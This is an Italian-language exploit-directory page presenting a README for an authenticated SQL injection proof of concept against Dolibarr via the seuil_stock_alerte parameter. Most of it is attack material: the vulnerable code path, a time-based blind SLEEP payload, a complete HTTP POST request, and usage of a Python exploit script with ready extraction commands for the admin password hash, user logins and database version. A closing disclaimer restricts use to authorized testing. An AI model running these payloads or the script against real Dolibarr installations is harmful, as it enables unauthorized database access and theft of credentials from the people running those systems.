Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — L'azione responsabile dell'impostazione della soglia di allerta scorte per magazzino (`seuil_stock_alerte`) accetta input controllati dall'utente e successivamente li incorpora in una query SQL senza un corretto casting numerico o binding dei parametri. #dolibarr #exploit | Kitploit
Strumenti/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
Analisi delle VulnerabilitàExploitScripting e AutomazioneSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSicurezza dei Database
GitHub
repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

L'azione responsabile dell'impostazione della soglia di allerta scorte per magazzino (`seuil_stock_alerte`) accetta input controllati dall'utente e successivamente li incorpora in una query SQL senza un corretto casting numerico o binding dei parametri. #dolibarr #exploit

Vedi Repository
2221 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Dolibarr — PoC di SQL Injection Autenticata

SQL injection che interessa la funzionalità di gestione dello stock dei prodotti tramite il parametro seuil_stock_alerte.

Versioni interessate

Testato e confermato su:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (Funzionava fino alla segnalazione.)

Parametro vulnerabile

seuil_stock_alerte

Il parametro è accettato da:

/product/stock/product.php

utilizzando l'azione addlimitstockwarehouse.

Sfruttamento

Il parametro viene recuperato senza conversione numerica:

$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

Successivamente raggiunge un'istruzione SQL tramite concatenazione diretta di stringhe:

$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

Poiché il valore viene inserito in un contesto numerico non quotato, è possibile fornire un'espressione SQL al posto di un normale valore numerico.

SQL Injection cieca basata sul tempo

Un'espressione booleana/basata sul tempo è sufficiente per dimostrare l'esecuzione:

(SELECT IF((1=1),SLEEP(15),0))

Esempio di parametro:

seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Una richiesta andata a buon fine produce un ritardo nella risposta HTTP di circa 15 secondi, confermando la valutazione dell'espressione SQL iniettata.

Richiesta vulnerabile

L'azione vulnerabile può essere raggiunta con una richiesta autenticata simile a:

POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Requisiti:

  • Sessione autenticata valida
  • Token CSRF (estratto dalla pagina della scheda prodotto)
  • ID prodotto
  • ID magazzino

Autenticazione e privilegi

Il problema è stato riprodotto con un account autenticato avente solo il permesso:

Product → Create (produit/creer)

— un account con privilegi ridotti in grado di creare prodotti.

Impatto

La SQL injection consente:

  1. SQL injection cieca basata sul tempo — le query possono essere eseguite tramite ritardi SLEEP
  2. Divulgazione di informazioni — il contenuto del database può essere esfiltrato carattere per carattere
  3. Potenziale escalation di privilegi — estrazione di credenziali amministrative o dati sensibili
  4. Ricognizione del database — enumerazione dello schema tramite metodi basati su errori o sul tempo

I vincoli a livello di database su questo sistema hanno impedito l'esecuzione diretta di comandi OS.

Strumento di exploit

Lo script PoC allegato stock_sqli_poc.py automatizza il processo di sfruttamento:

Utilizzo

python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

Funzionalità

  • Login automatico — si autentica al target
  • Conferma dell'injection — convalida la SQL injection con payload di test (1=1 vs 1=2)
  • Estrazione con ricerca binaria — estrae efficientemente i dati carattere per carattere utilizzando il confronto ASCII
  • Supporto proxy — si integra con Burp Suite o altri proxy HTTP
  • Ritardo configurabile — regola la durata di SLEEP per l'affidabilità

Opzioni della riga di comando

OpzionePredefinitoDescrizione
--urlhttp://127.0.0.1:8088URL dell'istanza Dolibarr target
--proxyhttp://127.0.0.1:8080Proxy HTTP (Burp, ecc.). Impostare a stringa vuota per disabilitare
--loginwebeditorNome utente per l'account a privilegi ridotti
--passwordWebEdit0r!Password dell'account
--product-id1ID prodotto da attaccare
--warehouse-id1ID magazzino da attaccare
--delay1.0Durata di SLEEP in secondi per il rilevamento basato sul tempo
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)Espressione SQL da esfiltrare
--length14Lunghezza massima in caratteri da estrarre

Esempi di estrazione

Estrarre l'hash della password admin:

--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

Enumerare gli utenti:

--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

Versione del database:

--extract "VERSION()"

Utente corrente del database:

--extract "USER()"

⚠️ Avviso legale: Utilizzare questo exploit solo contro sistemi per i quali si dispone di esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. Questo PoC è fornito solo a scopo didattico e di test di sicurezza autorizzato.

Scarica lo strumento